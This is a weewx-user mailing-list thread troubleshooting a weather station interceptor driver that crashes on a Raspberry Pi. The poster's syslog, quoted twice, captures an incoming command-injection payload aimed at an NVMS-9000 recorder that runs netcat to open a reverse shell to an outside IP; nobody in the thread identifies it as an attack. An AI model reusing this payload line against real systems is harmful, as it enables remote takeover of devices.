Re: [weewx-user] Re: Random Stoppages

2019-10-16 Thread K Weaver
# WEEWX CONFIGURATION FILE
#
# Copyright (c) 2009-2019 Tom Keffer 
# See the file LICENSE.txt for your rights.

##

# This section is for general configuration information.

# Set to 1 for extra debug info, otherwise comment it out or set to zero
debug = 1

# Root directory of the weewx data file hierarchy for this station
WEEWX_ROOT = /

# Whether to log successful operations
log_success = True

# Whether to log unsuccessful operations
log_failure = True

# How long to wait before timing out a socket (FTP, HTTP) connection
socket_timeout = 20

# Do not modify this. It is used when installing and updating weewx.
version = 3.9.2

##

#   This section is for information about the station.

[Station]

# Description of the station location
location = Concord, NC

# Latitude and longitude in decimal degrees
latitude = 35.436
longitude = -80.737

# Altitude of the station, with unit it is in. This is downloaded from
# from the station if the hardware supports it.
altitude = 675, foot

# Set to type of station hardware. There must be a corresponding stanza
# in this file with a 'driver' parameter indicating the driver to be
used.
station_type = Interceptor

# If you have a website, you may specify an URL
station_url = http://mosscreekweather.org/weewx

# The start of the rain year (1=January; 10=October, etc.). This is
# downloaded from the station if the hardware supports it.
rain_year_start = 1

# Start of week (0=Monday, 6=Sunday)
week_start = 6

##

[Simulator]
# This section is for the weewx weather station simulator

# The time (in seconds) between LOOP packets.
loop_interval = 2.5

# The simulator mode can be either 'simulator' or 'generator'.
# Real-time simulator. Sleep between each LOOP packet.
mode = simulator
# Generator.  Emit LOOP packets as fast as possible (useful for
testing).
#mode = generator

# The start time. Format is -mm-ddTHH:MM. If not specified, the
default
# is to use the present time.
#start = 2011-01-01T00:00
# The driver to use:
driver = weewx.drivers.simulator

##

[Interceptor]
# This section is for the network traffic interceptor driver.

# The driver to use:
driver = user.interceptor
# Specify the hardware device to capture.  Options include:
#   acurite-bridge - acurite internet bridge, smarthub, or access
#   observer - fine offset WH2600/HP1000/HP1003, ambient WS2902
#   lw30x - oregon scientific LW301/LW302
#   lacrosse-bridge - lacrosse GW1000U/C84612 internet bridge
#   wu-client - any hardware that uses the weather underground protocol
device_type = acurite-bridge
mode = listen
iface = eth0
port = 80
##

#   This section is for uploading data to Internet sites

[StdRESTful]

[[StationRegistry]]
# To register this weather station with weewx, set this to true
register_this_station = true



[[AWEKAS]]
# This section is for configuring posts to AWEKAS.

# If you wish to do this, set the option 'enable' to true,
# and specify a username and password.
# To guard against parsing errors, put the password in quotes.
enable = true
username = Kweaver66
password =

[[CWOP]]
# This section is for configuring posts to CWOP.

# If you wish to do this, set the option 'enable' to true,
# and specify the station ID (e.g., CW1234).
enable = true
station = FW0975

# If this is an APRS (radio amateur) station, uncomment
# the following and replace with a passcode (e.g., 12345).
#passcode = replace_me (APRS stations only)

[[PWSweather]]
# This section is for configuring posts to PWSweather.com.
# If you wish to do this, set the option 'enable' to true,
# and specify a station and password.
# To guard against parsing errors, put the password in quotes.
enable = true
station = KNCCONCO67
password =

[[WOW]]
# This section is for configuring posts to WOW.

# If you wish to do this, set the option 'enable' to true,
# and specify a station and password.
# To guard against parsing errors, put the password in quotes.
enable = false
station = replace_me
password = replace_me

[[Wunderground]]
# This section is for configuring posts to the Weather Underground.

# If you wish to do this, set the option 'enable' to true,
# and specify a station (e.g., 'KORHOODR3') and 

Re: [weewx-user] Re: Random Stoppages

2019-10-15 Thread K Weaver
Thanks all. I will post my weewx config later.

It's set up in listen mode on port 80


I tried other ports before , but they never worked.


On Tue, Oct 15, 2019, 8:47 AM Andy  wrote:

>
> systemType="NVMS-9000" Are you intercepting your IP NVR traffic?
>
> Andy
>
> --
> You received this message because you are subscribed to the Google Groups
> "weewx-user" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to weewx-user+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/weewx-user/96662d53-1f1d-4864-a9ae-74b22b839889%40googlegroups.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/CAJ3%3D2yXNAARk5OX0ABkS-h8%3D0A8Yb3T_3aAbnNkAA6X2DDc4UQ%40mail.gmail.com.


[weewx-user] Re: Random Stoppages

2019-10-15 Thread Andy

systemType="NVMS-9000" Are you intercepting your IP NVR traffic? 

Andy

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/96662d53-1f1d-4864-a9ae-74b22b839889%40googlegroups.com.


[weewx-user] Re: Random Stoppages

2019-10-14 Thread mwall
On Monday, October 14, 2019 at 9:57:33 PM UTC-4, K Weaver wrote:
>
> I can run for days  and all of a sudden it will randomly stop.   What does 
> this syslog indicate?
>

whatever the interceptor is talking to is *not* providing the standard http 
GET or POST output that the interceptor expects

you're getting raw XML, and the interceptor barfs on it, since it is 
expecting a bunch of name-value pairs in cgi format

can't really tell what is causing it without knowing exactly how your 
network and devices are configured, including the interceptor configuration

i supposed i could make the interceptor immune to this, but that would just 
hide the problem, and you would still end up with gaps in your data

m

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/2a3706fa-d357-42f1-abcc-19923c38f0e4%40googlegroups.com.


[weewx-user] Re: Random Stoppages

2019-10-14 Thread K Weaver

I am running the most recent version of Weewx with The Belchertown skin.  I 
have an acurite 5 N 1 with a smart hub..

http://mosscreekweather.org/weewx



On Monday, October 14, 2019 at 9:57:33 PM UTC-4, K Weaver wrote:
>
> I can run for days  and all of a sudden it will randomly stop.   What does 
> this syslog indicate?
>
>
> Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: ServerThread: POST: 
>  systemType="NVMS-9000" 
> clientType="WEB">refuseallowipiprangemactrue  
> type="filterTypeMode">refuse type="list"> type="addressType"/>trueip$(nc${IFS}209.141.34.34${IFS}31337${IFS}-e${IFS}$SHELL&)
> Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: MainThread: raw data: 
>  systemType="NVMS-9000" 
> clientType="WEB">refuseallowipiprangemactrue  
> type="filterTypeMode">refuse type="list"> type="addressType"/>trueip$(nc${IFS}209.141.34.34${IFS}31337${IFS}-e${IFS}$SHELL&)
> Oct 14 21:44:29 raspberrypi weewx[662]: engine: Main loop exiting. 
> Shutting engine down.
> Oct 14 21:44:29 raspberrypi weewx[662]: engine: Shutting down StdReport 
> thread
> Oct 14 21:44:29 raspberrypi weewx[662]: engine: StdReport thread has been 
> terminated
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down WeatherCloud 
> thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down MQTT thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down AWEKAS thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down CWOP thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down PWSWeather thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down Wunderground-PWS 
> thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down StationRegistry 
> thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: MainThread: shutting 
> down server thread
> Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: MainThread: stop tcp 
> server
> Oct 14 21:44:29 raspberrypi weewx[662]: engine: Caught unrecoverable 
> exception in engine:
> Oct 14 21:44:29 raspberrypi weewx[662]:   too many values to unpack
> Oct 14 21:44:29 raspberrypi weewx[662]:   Traceback (most recent 
> call last):
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/weewx/engine.py", line 894, in main
> Oct 14 21:44:29 raspberrypi weewx[662]:   engine.run()
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/weewx/engine.py", line 188, in run
> Oct 14 21:44:29 raspberrypi weewx[662]:   for packet in 
> self.console.genLoopPackets():
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/user/interceptor.py", line 2230, in genLoopPackets
> Oct 14 21:44:29 raspberrypi weewx[662]:   pkt = 
> self._device.parser.parse(data)
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/user/interceptor.py", line 898, in parse
> Oct 14 21:44:29 raspberrypi weewx[662]:   pkt = 
> self.parse_chaney(s)
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/user/interceptor.py", line 955, in parse_chaney
> Oct 14 21:44:29 raspberrypi weewx[662]:   (n, v) = x.split('=')
> Oct 14 21:44:29 raspberrypi weewx[662]:   ValueError: too many 
> values to unpack
> Oct 14 21:44:29 raspberrypi weewx[662]:   Exiting.
> Oct 14 21:45:01 raspberrypi CRON[7233]: (root) CMD (~/duckdns/duck.sh 
> >/dev/null 2>&1)
> Oct 14 21:45:01 raspberrypi CRON[7234]: (pi) CMD (~/duckdns/duck.sh 
> >/dev/null 2>&1)
> Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPACK(eth0) 192.168.6.100 
> 24:c8:6e:09:36:cb
> Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPACK(eth0) 192.168.6.100 
> 24:c8:6e:09:36:cb
> Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPACK(eth0) 192.168.6.100 
> 24:c8:6e:09:36:cb
> Oct 14 21:49:53 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:49:53 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:49:53 raspberrypi dnsmasq-dhcp[569]: 

[weewx-user] Re: Random Stoppages

2019-10-14 Thread K Weaver
I am running the most recent version of Weewx with The Belchertown skin.  I 
have an acurite 5 N 1 with a smart hub..

On Monday, October 14, 2019 at 9:57:33 PM UTC-4, K Weaver wrote:
>
> I can run for days  and all of a sudden it will randomly stop.   What does 
> this syslog indicate?
>
>
> Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: ServerThread: POST: 
>  systemType="NVMS-9000" 
> clientType="WEB">refuseallowipiprangemactrue  
> type="filterTypeMode">refuse type="list"> type="addressType"/>trueip$(nc${IFS}209.141.34.34${IFS}31337${IFS}-e${IFS}$SHELL&)
> Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: MainThread: raw data: 
>  systemType="NVMS-9000" 
> clientType="WEB">refuseallowipiprangemactrue  
> type="filterTypeMode">refuse type="list"> type="addressType"/>trueip$(nc${IFS}209.141.34.34${IFS}31337${IFS}-e${IFS}$SHELL&)
> Oct 14 21:44:29 raspberrypi weewx[662]: engine: Main loop exiting. 
> Shutting engine down.
> Oct 14 21:44:29 raspberrypi weewx[662]: engine: Shutting down StdReport 
> thread
> Oct 14 21:44:29 raspberrypi weewx[662]: engine: StdReport thread has been 
> terminated
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down WeatherCloud 
> thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down MQTT thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down AWEKAS thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down CWOP thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down PWSWeather thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down Wunderground-PWS 
> thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down StationRegistry 
> thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: MainThread: shutting 
> down server thread
> Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: MainThread: stop tcp 
> server
> Oct 14 21:44:29 raspberrypi weewx[662]: engine: Caught unrecoverable 
> exception in engine:
> Oct 14 21:44:29 raspberrypi weewx[662]:   too many values to unpack
> Oct 14 21:44:29 raspberrypi weewx[662]:   Traceback (most recent 
> call last):
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/weewx/engine.py", line 894, in main
> Oct 14 21:44:29 raspberrypi weewx[662]:   engine.run()
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/weewx/engine.py", line 188, in run
> Oct 14 21:44:29 raspberrypi weewx[662]:   for packet in 
> self.console.genLoopPackets():
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/user/interceptor.py", line 2230, in genLoopPackets
> Oct 14 21:44:29 raspberrypi weewx[662]:   pkt = 
> self._device.parser.parse(data)
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/user/interceptor.py", line 898, in parse
> Oct 14 21:44:29 raspberrypi weewx[662]:   pkt = 
> self.parse_chaney(s)
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/user/interceptor.py", line 955, in parse_chaney
> Oct 14 21:44:29 raspberrypi weewx[662]:   (n, v) = x.split('=')
> Oct 14 21:44:29 raspberrypi weewx[662]:   ValueError: too many 
> values to unpack
> Oct 14 21:44:29 raspberrypi weewx[662]:   Exiting.
> Oct 14 21:45:01 raspberrypi CRON[7233]: (root) CMD (~/duckdns/duck.sh 
> >/dev/null 2>&1)
> Oct 14 21:45:01 raspberrypi CRON[7234]: (pi) CMD (~/duckdns/duck.sh 
> >/dev/null 2>&1)
> Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPACK(eth0) 192.168.6.100 
> 24:c8:6e:09:36:cb
> Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPACK(eth0) 192.168.6.100 
> 24:c8:6e:09:36:cb
> Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPACK(eth0) 192.168.6.100 
> 24:c8:6e:09:36:cb
> Oct 14 21:49:53 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:49:53 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:49:53 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
> 192.168.6.100